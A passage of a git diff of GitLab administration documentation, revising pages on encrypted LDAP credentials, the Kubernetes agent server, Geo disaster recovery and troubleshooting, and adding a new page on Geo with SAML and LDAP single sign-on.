configuration](../../encrypted_configuration.md). +use an encrypted file for the LDAP credentials. -The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file is created at -`shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration. +Prerequisites: -The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP -configuration. +- To use encrypted credentials, you must first enable the + [encrypted configuration](../../encrypted_configuration.md). + +The encrypted configuration for LDAP exists in an encrypted YAML file. The +unencrypted contents of the file should be a subset of the secret settings from +your `servers` block in the LDAP configuration. The supported configuration items for the encrypted file are: - `bind_dn` - `password` -The encrypted contents can be configured with the [LDAP secret edit Rake command](../../raketasks/ldap.md#edit-secret). - ::Tabs :::TabTitle Linux package (Omnibus) -If initially your LDAP configuration looked like: - -1. In `/etc/gitlab/gitlab.rb`: +1. If initially your LDAP configuration in `/etc/gitlab/gitlab.rb` looked like: ```ruby gitlab_rails['ldap_servers'] = { 'main' => { - # snip... 'bind_dn' => 'admin', 'password' => '123' } @@ -500,7 +860,7 @@ If initially your LDAP configuration looked like: sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim ``` -1. The unencrypted contents of the LDAP secret should be entered like: +1. Enter the unencrypted contents of the LDAP secret: ```yaml main: @@ -509,21 +869,69 @@ If initially your LDAP configuration looked like: ``` 1. Edit `/etc/gitlab/gitlab.rb` and remove the settings for `bind_dn` and `password`. +1. Save the file and reconfigure GitLab: -1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + ```shell + sudo gitlab-ctl reconfigure + ``` -:::TabTitle Self-compiled (source) +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the LDAP password. For more information, +read about [Helm LDAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#ldap-password). -If initially your LDAP configuration looked like: +:::TabTitle Docker -1. In `config/gitlab.yaml`: +1. If initially your LDAP configuration in `docker-compose.yml` looked like: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_servers'] = { + 'main' => { + 'bind_dn' => 'admin', + 'password' => '123' + } + } + ``` + +1. Get inside the container, and edit the encrypted secret: + + ```shell + sudo docker exec -t <container_name> bash + gitlab-rake gitlab:ldap:secret:edit EDITOR=vim + ``` + +1. Enter the unencrypted contents of the LDAP secret: + + ```yaml + main: + bind_dn: admin + password: '123' + ``` + +1. Edit `docker-compose.yml` and remove the settings for `bind_dn` and `password`. +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. If initially your LDAP configuration in `/home/git/gitlab/config/gitlab.yml` looked like: ```yaml production: ldap: servers: main: - # snip... bind_dn: admin password: '123' ``` @@ -534,7 +942,7 @@ If initially your LDAP configuration looked like: bundle exec rake gitlab:ldap:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production ``` -1. The unencrypted contents of the LDAP secret should be entered like: +1. Enter the unencrypted contents of the LDAP secret: ```yaml main: @@ -542,9 +950,16 @@ If initially your LDAP configuration looked like: password: '123' ``` -1. Edit `config/gitlab.yaml` and remove the settings for `bind_dn` and `password`. +1. Edit `/home/git/gitlab/config/gitlab.yml` and remove the settings for `bind_dn` and `password`. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target -1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. + # For systems running SysV init + sudo service gitlab restart + ``` ::EndTabs diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 21ec4b293d4..95064b296af 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -373,7 +373,7 @@ things to debug the situation. 1. Search for the user. 1. Open the user by selecting their name. Do not select **Edit**. 1. Select the **Identities** tab. There should be an LDAP identity with - an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with + an LDAP DN as the `Identifier`. If not, this user hasn't signed in with LDAP yet and must do so first. - You've waited an hour or [the configured interval](ldap_synchronization.md#adjust-ldap-group-sync-schedule) for the group to sync. To speed up the process, either go to the GitLab group **Group information > Members** @@ -523,8 +523,8 @@ LDAP group lookups. The very last occurrence of this entry should indicate exactly which users GitLab believes should be added to the group. NOTE: -10 is 'Guest', 20 is 'Reporter', 30 is 'Developer', 40 is 'Maintainer' -and 50 is 'Owner'. +10 is `Guest`, 20 is `Reporter`, 30 is `Developer`, 40 is `Maintainer` +and 50 is `Owner`. ```shell Resolved 'my_group' group member access: {"uid=john0,ou=people,dc=example,dc=com"=>30, diff --git a/doc/administration/auth/ldap/ldap_synchronization.md b/doc/administration/auth/ldap/ldap_synchronization.md index 5c8c7f7baf1..cc300941470 100644 --- a/doc/administration/auth/ldap/ldap_synchronization.md +++ b/doc/administration/auth/ldap/ldap_synchronization.md @@ -366,7 +366,7 @@ group, GitLab revokes their `admin` role when syncing. ### Global group memberships lock -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1793) in GitLab 12.0. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4354) in GitLab 12.0. GitLab administrators can prevent group members from inviting new members to subgroups that have their membership synchronized with LDAP. diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md index 79dd69183a6..9f0f7e836f7 100644 --- a/doc/administration/clusters/kas.md +++ b/doc/administration/clusters/kas.md @@ -24,8 +24,6 @@ As a GitLab administrator, you can install the agent server: - For [Omnibus installations](#for-omnibus). - For [GitLab Helm Chart installations](#for-gitlab-helm-chart). -Or, you can [use an external agent server](#use-an-external-installation). - ### For Omnibus You can enable the agent server for [Omnibus](https://docs.gitlab.com/omnibus/) package installations on a single node, or on multiple nodes at once. @@ -60,6 +58,11 @@ To enable the agent server on multiple nodes: 'SSL_CERT_DIR' => "/opt/gitlab/embedded/ssl/certs/", 'OWN_PRIVATE_API_URL' => 'grpc://<ip_or_hostname_of_this_host>:8155' } + + gitlab_rails['gitlab_kas_enabled'] = true + gitlab_rails['gitlab_kas_external_url'] = 'wss://gitlab.example.com/-/kubernetes-agent/' + gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' + gitlab_rails['gitlab_kas_external_k8s_proxy_url'] = 'https://gitlab.example.com/-/kubernetes-agent/' ``` In this configuration: @@ -68,8 +71,10 @@ To enable the agent server on multiple nodes: - `OWN_PRIVATE_API_URL` is the environment variable used by the KAS process for service discovery. You can set it to a hostname or IP address of the node you're configuring. The node must be reachable by other nodes in the cluster. - `gitlab_kas['api_secret_key']` is the shared secret used for authentication between KAS and GitLab. This value must be Base64-encoded and exactly 32 bytes long. - `gitlab_kas['private_api_secret_key']` is the shared secret used for authentication between different KAS instances. This value must be Base64-encoded and exactly 32 bytes long. + - `gitlab_rails['gitlab_kas_external_url']` is the user-facing URL for the in-cluster `agentk`. + - `gitlab_rails['gitlab_kas_internal_url']` is the internal URL the GitLab backend uses to communicate with KAS. + - `gitlab_rails['gitlab_kas_external_k8s_proxy_url']` is the user-facing URL for Kubernetes API proxying. -1. For each application node, follow the steps in [Use an external installation](../clusters/kas.md#use-an-external-installation). If the agent server is enabled on the application node, do not include `gitlab_kas['enable'] = false` in the configuration for that node. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). ### For GitLab Helm Chart @@ -100,30 +105,6 @@ For GitLab [Helm Chart](https://docs.gitlab.com/charts/) installations: For details, see [how to use the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/). -### Use an external installation - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10. - -Instead of installing the agent server, you can configure GitLab to use an external agent server. - -If you used the GitLab Helm Chart to install GitLab, see -[how to configure your external agent server](https://docs.gitlab.com/charts/charts/globals.html#external-kas). - -If you used the Omnibus packages: - -1. Edit `/etc/gitlab/gitlab.rb` and add the paths to your external agent server: - - ```ruby - gitlab_kas['enable'] = false - gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS' - - gitlab_rails['gitlab_kas_enabled'] = true - gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk - gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend - ``` - -1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). - ## Troubleshooting If you have issues while using the agent server for Kubernetes, view the diff --git a/doc/administration/docs_self_host.md b/doc/administration/docs_self_host.md index 9021a795523..f049dafea76 100644 --- a/doc/administration/docs_self_host.md +++ b/doc/administration/docs_self_host.md @@ -91,7 +91,7 @@ Prerequisite: To host the product documentation site with GitLab Pages: -1. [Create a blank project](../user/project/working_with_projects.md#create-a-blank-project). +1. [Create a blank project](../user/project/index.md#create-a-blank-project). 1. Create a new or edit your existing `.gitlab-ci.yml` file, and add the following `pages` job, while ensuring the version is the same as your GitLab installation: diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md index dda2c5d34d3..fe05b52cec9 100644 --- a/doc/administration/geo/disaster_recovery/bring_primary_back.md +++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md @@ -26,6 +26,16 @@ Alternatively, you can [set up a new **secondary** GitLab instance](../setup/ind To bring the former **primary** site up to date: 1. SSH into the former **primary** site that has fallen behind. +1. Remove `/etc/gitlab/gitlab-cluster.json` if it exists. + + If the site to be re-added as a **secondary** site was promoted with the `gitlab-ctl geo promote` command, then it may contain a `/etc/gitlab/gitlab-cluster.json` file. For example during `gitlab-ctl reconfigure`, you may notice output like: + + ```plaintext + The 'geo_primary_role' is defined in /etc/gitlab/gitlab-cluster.json as 'true' and overrides the setting in the /etc/gitlab/gitlab.rb + ``` + + If so, then `/etc/gitlab/gitlab-cluster.json` must be deleted from every Sidekiq, PostgreSQL, Gitaly, and Rails node in the site, to make `/etc/gitlab/gitlab.rb` the single source of truth again. + 1. Make sure all the services are up: ```shell diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index a78350d9dba..b6703e8a5fb 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -460,9 +460,9 @@ required: ### Step 4. (Optional) Updating the primary domain DNS record -Updating the DNS records for the primary domain to point to the **secondary** site -to prevent the need to update all references to the primary domain to the -secondary domain, like changing Git remotes and API URLs. +Update DNS records for the primary domain to point to the **secondary** site. +This removes the need to update all references to the primary domain, for example +changing Git remotes and API URLs. 1. SSH into the **secondary** site and login as root: @@ -479,6 +479,21 @@ secondary domain, like changing Git remotes and API URLs. external_url 'https://<new_external_url>' ``` + If you provide GitLab with its certificate + [manually](https://docs.gitlab.com/omnibus/settings/ssl/index.html#configure-https-manually), + ensure: + + - The new URL is one of the subject alternative names: + + ```shell + /opt/gitlab/embedded/bin/openssl x509 -noout -dates -subject -issuer \ + -nameopt multiline -ext subjectAltName -in /etc/gitlab/ssl/new-gitlab.new-example.com.crt + ``` + + - The certificate and key filenames match the new `external_url`, + or those filenames are + [specified in `/etc/gitlab/gitlab.rb`](https://docs.gitlab.com/omnibus/settings/ssl/index.html#change-the-default-ssl-certificate-location). + NOTE: Changing `external_url` does not prevent access via the old secondary URL, as long as the secondary DNS records are still intact. diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md index 68fd0c63e37..8728ab57bba 100644 --- a/doc/administration/geo/index.md +++ b/doc/administration/geo/index.md @@ -124,7 +124,9 @@ The following are required to run Geo: - Git 2.9 or later - Git-lfs 2.4.2 or later on the user side when using LFS - All sites must run [the same GitLab and PostgreSQL versions](setup/database.md#postgresql-replication). -- If using different operating system versions between Geo sites, [check OS locale data compatibility](replication/troubleshooting.md#check-os-locale-data-compatibility) across Geo sites. + - If using different operating system versions between Geo sites, + [check OS locale data compatibility](replication/troubleshooting.md#check-os-locale-data-compatibility) + across Geo sites to avoid silent corruption of database indexes. Additionally, check the GitLab [minimum requirements](../../install/requirements.md), and use the latest version of GitLab for a better experience. @@ -163,15 +165,6 @@ To update the internal URL of the primary Geo site: 1. Select **Edit** on the primary site. 1. Change the **Internal URL**, then select **Save changes**. -### LDAP - -We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users are unable to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens still works. - -NOTE: -It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site. - -Check for instructions on how to set up replication in your LDAP service. Instructions are different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). - ### Geo Tracking Database The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example: @@ -224,6 +217,8 @@ An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4623) to fix this The only way to view designs replication data for a particular secondary site is to visit that secondary site directly. For example, `https://<IP of your secondary site>/admin/geo/replication/designs`. An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4624) to fix this limitation. +Keep in mind that mentioned URLs don't work when [Admin Mode](../../user/admin_area/settings/sign_in_restrictions.md#admin-mode) is enabled. + ## Setup instructions For setup instructions, see [Setting up Geo](setup/index.md). @@ -292,6 +287,14 @@ For more information on how to replicate the Container Registry, see [Container For more information on using Geo proxying on secondary sites, see [Geo proxying for secondary sites](secondary_proxy/index.md). +### Single Sign On (SSO) + +For more information on configuring Single Sign-On (SSO), see [Geo with Single Sign-On (SSO)](replication/single_sign_on.md). + +#### LDAP + +For more information on configuring LDAP, see [Geo with Single Sign-On (SSO) > LDAP](replication/single_sign_on.md#ldap). + ### Security Review For more information on Geo security, see [Geo security review](replication/security_review.md). diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md index d625b2a0324..79a3f65377b 100644 --- a/doc/administration/geo/replication/configuration.md +++ b/doc/administration/geo/replication/configuration.md @@ -104,7 +104,7 @@ keys must be manually replicated to the **secondary** site. 1. Make a backup of any existing SSH host keys: ```shell - find /etc/ssh -iname ssh_host_* -exec cp {} {}.backup.`date +%F` \; + find /etc/ssh -iname 'ssh_host_*' -exec cp {} {}.backup.`date +%F` \; ``` 1. Copy OpenSSH host keys from the **primary** site: diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md index 52cd64b8f33..26acab510cf 100644 --- a/doc/administration/geo/replication/datatypes.md +++ b/doc/administration/geo/replication/datatypes.md @@ -64,7 +64,7 @@ verification methods: | Blobs | Alert Metric Images _(file system)_ | Geo with API | SHA256 checksum | | Blobs | Alert Metric Images _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ | | Blobs | Dependency Proxy Images_(file system)_ | Geo with API | SHA256 checksum | -| Blobs | Dependency Proxy Images _(object_storage)_ | Geo with API/managed (*2*) | _Not implemented_ | +| Blobs | Dependency Proxy Images _(object storage)_ | Geo with API/managed (*2*) | _Not implemented_ | - (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo sites. - (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md index 460de5f3232..4a3f9c86041 100644 --- a/doc/administration/geo/replication/location_aware_git_url.md +++ b/doc/administration/geo/replication/location_aware_git_url.md @@ -57,7 +57,7 @@ routing configurations.  -1. Select the **Create traffic policy** button. +1. Select **Create traffic policy**.  diff --git a/doc/administration/geo/replication/remove_geo_site.md b/doc/administration/geo/replication/remove_geo_site.md index 4b9f31dc08c..9d92652daf4 100644 --- a/doc/administration/geo/replication/remove_geo_site.md +++ b/doc/administration/geo/replication/remove_geo_site.md @@ -11,7 +11,7 @@ type: howto 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Geo > Nodes**. -1. Select the **Remove** button for the **secondary** site you want to remove. +1. For the **secondary** site you want to remove, select **Remove**. 1. Confirm by selecting **Remove** when the prompt appears. After the **secondary** site is removed from the Geo administration page, you must @@ -25,6 +25,9 @@ stop and uninstall this site. For each node on your secondary Geo site: 1. Uninstall GitLab: + NOTE: + If GitLab data has to be cleaned from the instance as well, see how to [uninstall the Linux package and all its data](https://docs.gitlab.com/omnibus/installation/#uninstall-the-linux-package-omnibus). + ```shell # Stop gitlab and remove its supervision process sudo gitlab-ctl uninstall diff --git a/doc/administration/geo/replication/single_sign_on.md b/doc/administration/geo/replication/single_sign_on.md new file mode 100644 index 00000000000..fc2f23552db --- /dev/null +++ b/doc/administration/geo/replication/single_sign_on.md @@ -0,0 +1,122 @@ +--- +stage: Systems +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +type: howto +--- + +# Geo with Single Sign On (SSO) **(PREMIUM SELF)** + +This documentation only discusses Geo-specific SSO considerations and configuration. For more information on general authentication, see [GitLab authentication and authorization](../../auth/index.md). + +## Configuring instance-wide SAML + +### Prerequisites + +[Instance-wide SAML](../../../integration/saml.md) must be working on your primary Geo site. + +You only configure SAML on the primary site. Configuring `gitlab_rails['omniauth_providers']` in `gitlab.rb` in a secondary site has no effect. + +### Determine the type of URL your secondary site uses + +How you configure instance-wide SAML differs depending on your secondary site configuration. Determine if your secondary site uses a: + +- [Unified URL](../secondary_proxy/index.md#set-up-a-unified-url-for-geo-sites), meaning the `external_url` exactly matches the `external_url` of the primary site. +- [Separate URL](../secondary_proxy/index.md#geo-proxying-with-separate-urls) with proxying enabled. Proxying is enabled by default in GitLab 15.1 and later. +- [Separate URL](../secondary_proxy/index.md#geo-proxying-with-separate-urls) with proxying disabled. + +### SAML with Unified URL + +If you have configured SAML on the primary site correctly, then it should work on the secondary site without additional configuration. + +### SAML with separate URL with proxying enabled + +If a secondary site uses a different `external_url` to the primary site, then configure your SAML Identity Provider (IdP) to allow the secondary site's SAML callback URL. For example, to configure Okta: + +1. [Sign in to Okta](https://www.okta.com/login/). +1. Go to **Okta Admin Dashboard** > **Applications** > **Your App Name** > **General**. +1. In **SAML Settings**, select **Edit**. +1. In **General Settings**, select **Next** to go to **SAML Settings**. +1. In **SAML Settings > General**, make sure the **Single sign-on URL** is your primary site's SAML callback URL. For example, `https://gitlab-primary.example.com/users/auth/saml/callback`. If it is not, enter your primary site's SAML callback URL into this field. +1. Select **Show Advanced Settings**. +1. In **Other Requestable SSO URLs**, enter your secondary site's SAML callback URL. For example, `https://gitlab-secondary.example.com/users/auth/saml/callback`. You can set **Index** to anything. +1. Select **Next** and then **Finish**. + +You must not specify `assertion_consumer_service_url` in the SAML provider configuration in `gitlab_rails['omniauth_providers']` in `gitlab.rb` of the primary site. For example: + +```ruby +gitlab_rails['omniauth_providers'] = [ + { + name: "saml", + label: "Okta", # optional label for login button, defaults to "Saml" + args: { + idp_cert_fingerprint: "B5:AD:AA:9E:3C:05:68:AD:3B:78:ED:31:99:96:96:43:9E:6D:79:96", + idp_sso_target_url: "https://<dev-account>.okta.com/app/dev-account_gitlabprimary_1/exk7k2gft2VFpVFXa5d1/sso/saml", + issuer: "https://<gitlab-primary>", + name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent" + } + } +] +``` + +This configuration causes: + +- Both your sites to use `/users/auth/saml/callback` as their assertion consumer service (ACS) URL. +- The URL's host to be set to the corresponding site's host. + +You can check this by visiting each site's `/users/auth/saml/metadata` path. For example, visiting `https://gitlab-primary.example.com/users/auth/saml/metadata` may respond with: + +```xml +<md:EntityDescriptor ID="_b9e00d84-d34e-4e3d-95de-122e3c361617" entityID="https://gitlab-primary.example.com" + xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" + xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> + <md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"> + <md:NameIDFormat>urn:oasis:names:tc:SAML:2.0:nameid-format:persistent</md:NameIDFormat> + <md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://gitlab-primary.example.com/users/auth/saml/callback" index="0" isDefault="true"/> + <md:AttributeConsumingService index="1" isDefault="true"> + <md:ServiceName xml:lang="en">Required attributes</md:ServiceName> + <md:RequestedAttribute FriendlyName="Email address" Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + <md:RequestedAttribute FriendlyName="Full name" Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + <md:RequestedAttribute FriendlyName="Given name" Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + <md:RequestedAttribute FriendlyName="Family name" Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + </md:AttributeConsumingService> + </md:SPSSODescriptor> +</md:EntityDescriptor> +``` + +Visiting `https://gitlab-secondary.example.com/users/auth/saml/metadata` may respond with: + +```xml +<md:EntityDescriptor ID="_bf71eb57-7490-4024-bfe2-54cec716d4bf" entityID="https://gitlab-primary.example.com" + xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" + xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> + <md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"> + <md:NameIDFormat>urn:oasis:names:tc:SAML:2.0:nameid-format:persistent</md:NameIDFormat> + <md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://gitlab-secondary.example.com/users/auth/saml/callback" index="0" isDefault="true"/> + <md:AttributeConsumingService index="1" isDefault="true"> + <md:ServiceName xml:lang="en">Required attributes</md:ServiceName> + <md:RequestedAttribute FriendlyName="Email address" Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + <md:RequestedAttribute FriendlyName="Full name" Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + <md:RequestedAttribute FriendlyName="Given name" Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + <md:RequestedAttribute FriendlyName="Family name" Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/> + </md:AttributeConsumingService> + </md:SPSSODescriptor> +</md:EntityDescriptor> +``` + +The `Location` attribute of the `md:AssertionConsumerService` field points to `gitlab-secondary.example.com`. + +After configuring your SAML IdP to allow the secondary site's SAML callback URL, you should be able to sign in with SAML on your primary site as well as your secondary site. + +### SAML with separate URL with proxying disabled + +If you have configured SAML on the primary site correctly, then it should work on the secondary site without additional configuration. + +## LDAP + +If you use LDAP on your **primary** site, you should also set up secondary LDAP servers on each **secondary** site. Otherwise, users cannot perform Git operations over HTTP(s) on the **secondary** site using HTTP basic authentication. However, users can still use Git with SSH and personal access tokens. + +NOTE: +It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](../disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site. + +Check your LDAP service documentation for instructions on how to set up replication in your LDAP service. The process differs depending on the software or service used. For example, OpenLDAP provides this [replication documentation](https://www.openldap.org/doc/admin24/replication.html). diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index 1dcced781ce..2f2759d7339 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -1100,6 +1100,10 @@ On the **primary** site: 1. Ensure the **URL** field matches the value found in `/etc/gitlab/gitlab.rb` in `external_url "https://gitlab.example.com"` on the **Rails nodes of the secondary** site. +### Authenticating with SAML on the secondary site always lands on the primary site + +This [problem is usually encountered when upgrading to GitLab 15.1](version_specific_upgrades.md#upgrading-to-151). To fix this problem, see [configuring instance-wide SAML in Geo with Single Sign-On](single_sign_on.md#configuring-instance-wide-saml). + ## Fixing common errors This section documents common error messages reported in the Admin Area on the web interface, and how to fix them. @@ -1313,6 +1317,18 @@ registry = Geo::PackageFileRegistry.find(registry_id) registry.replicator.send(:download) ``` +#### Find registry records of blobs that failed to sync + +```ruby +Geo::PackageFileRegistry.failed +``` + +#### Find registry records of blobs that are missing on the primary site + +```ruby +Geo::PackageFileRegistry.where(last_sync_failure: 'The file is missing on the Geo primary site') +``` + #### Verify package files on the secondary manually This iterates over all package files on the secondary, looking at the @@ -1340,7 +1356,7 @@ status.keys.each {|key| puts "#{key} count: #{status[key].count}"} status ``` -### Reverify all uploads (or any SSF data type which is verified) +#### Reverify all uploads (or any SSF data type which is verified) 1. SSH into a GitLab Rails node in the primary Geo site. 1. Open [Rails console](../../../administration/operations/rails_console.md#starting-a-rails-console-session). @@ -1396,21 +1412,6 @@ registry = Geo::SnippetRepositoryRegistry.find(registry_id) registry.replicator.send(:sync_repository) ``` -### Find failed artifacts - -[Start a Rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session) -to run the following commands: - -```ruby -Geo::JobArtifactRegistry.failed -``` - -#### Find `ID` of synced artifacts that are missing on primary - -```ruby -Geo::JobArtifactRegistry.synced.missing_on_primary.pluck(:artifact_id) -``` - ### Project or project wiki repositories #### Find repository verification failures @@ -1535,9 +1536,12 @@ If the above steps are **not successful**, proceed through the next steps: ## Check OS locale data compatibility -If different operating systems or different operating system versions are deployed across Geo sites, we recommend that you perform a locale data compatibility check setting up Geo. +If different operating systems or different operating system versions are deployed across Geo sites, you should perform a locale data compatibility check before setting up Geo. -Geo uses PostgreSQL and Streaming Replication to replicate data across Geo sites. PostgreSQL uses locale data provided by the operating system’s C library for sorting text. If the locale data in the C library is incompatible across Geo sites, erroneous query results that lead to [incorrect behavior on secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/360723). See [here](https://wiki.postgresql.org/wiki/Locale_data_changes) for more details. +Geo uses PostgreSQL and Streaming Replication to replicate data across Geo sites. PostgreSQL uses locale data provided by the operating system's C library for sorting text. If the locale data in the C library is incompatible across Geo sites, erroneous query results that lead to [incorrect behavior on secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/360723). + +For example, Ubuntu 18.04 (and earlier) and RHEL/Centos7 (and earlier) are incompatible with their later releases. +See the [PostgreSQL wiki for more details](https://wiki.postgresql.org/wiki/Locale_data_changes). On all hosts running PostgreSQL, across all Geo sites, run the following shell command: @@ -1561,4 +1565,8 @@ or the reverse order: If the output is identical on all hosts, then they running compatible versions of locale data. -If the output differs on some hosts, then PostgreSQL replication will not work properly. We advise that you select operating system versions that are compatible. +If the output differs on some hosts, PostgreSQL replication does not work properly: indexes are corrupted on the database replicas. You should select operating system versions that are compatible. + +A full index rebuild is required if the on-disk data is transferred 'at rest' to an operating system with an incompatible locale, or through replication. + +This check is also required when using a mixture of GitLab deployments. The locale might be different between an Linux package install, a GitLab Docker container, a Helm chart deployment, or external database services. diff --git a/doc/administration/geo/replication/version_specific_upgrades.md b/doc/administration/geo/replication/version_specific_upgrades.md index d981656f748..aa8e5d77f67 100644 --- a/doc/administration/geo/replication/version_specific_upgrades.md +++ b/doc/administration/geo/replication/version_specific_upgrades.md @@ -6,6 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Version-specific upgrade instructions **(PREMIUM SELF)** +NOTE: +We're in the process of merging all the version-specific upgrade information +into a single page. See [epic 9581](https://gitlab.com/groups/gitlab-org/-/epics/9581) +for more information. For the time being, visit the +[general upgrade page](../../../update/index.md) +for the newest Geo version-specific upgrade instructions. + Review this page for upgrade instructions for your version. These steps accompany the [general steps](upgrading_the_geo_sites.md#general-upgrade-steps) for upgrading Geo sites. @@ -14,7 +21,7 @@ for upgrading Geo sites. [Geo proxying](../secondary_proxy/index.md) was [enabled by default for different URLs](https://gitlab.com/gitlab-org/gitlab/-/issues/346112) in 15.1. This may be a breaking change. If needed, you may [disable Geo proxying](../secondary_proxy/index.md#disable-geo-proxying). -If you are using SAML with different URLs, there is a [known issue which requires proxying to be disabled](https://gitlab.com/gitlab-org/gitlab/-/issues/377372). +If you are using SAML with different URLs, you must modify your SAML configuration and your Identity Provider configuration. For more information, see the [Geo with Single Sign-On (SSO) documentation](single_sign_on.md). ## Upgrading to 14.9 diff --git a/doc/administration/get_started.md b/doc/administration/get_started.md index 4099ddc16f8..2b9b5291c54 100644 --- a/doc/administration/get_started.md +++ b/doc/administration/get_started.md @@ -36,7 +36,7 @@ Watch an overview of [groups and projects](https://www.youtube.com/watch?v=cqb2m Get started: -- Create a [project](../user/project/working_with_projects.md#create-a-project). +- Create a [project](../user/project/index.md#create-a-project). - Create a [group](../user/group/manage.md#create-a-group). - [Add members](../user/group/manage.md#add-users-to-a-group) to the group. - Create a [subgroup](../user/group/subgroups/index.md#create-a-subgroup). @@ -55,7 +55,7 @@ Get started: You may need to import projects from external sources like GitHub, Bitbucket, or another instance of GitLab. Many external sources can be imported into GitLab. -- Review the [GitLab projects documentation](../user/project/index.md#project-integrations). +- Review the [GitLab projects documentation](../user/project/index.md). - Consider [repository mirroring](../user/project/repository/mirror/index.md)—an [alternative to project migrations](../ci/ci_cd_for_external_repos/index.md). - Check out our [migration index](../user/project/import/index.md) for documentation on common migration paths. - Schedule your project exports with our [import/export API](../api/project_import_export.md#schedule-an-export). diff --git 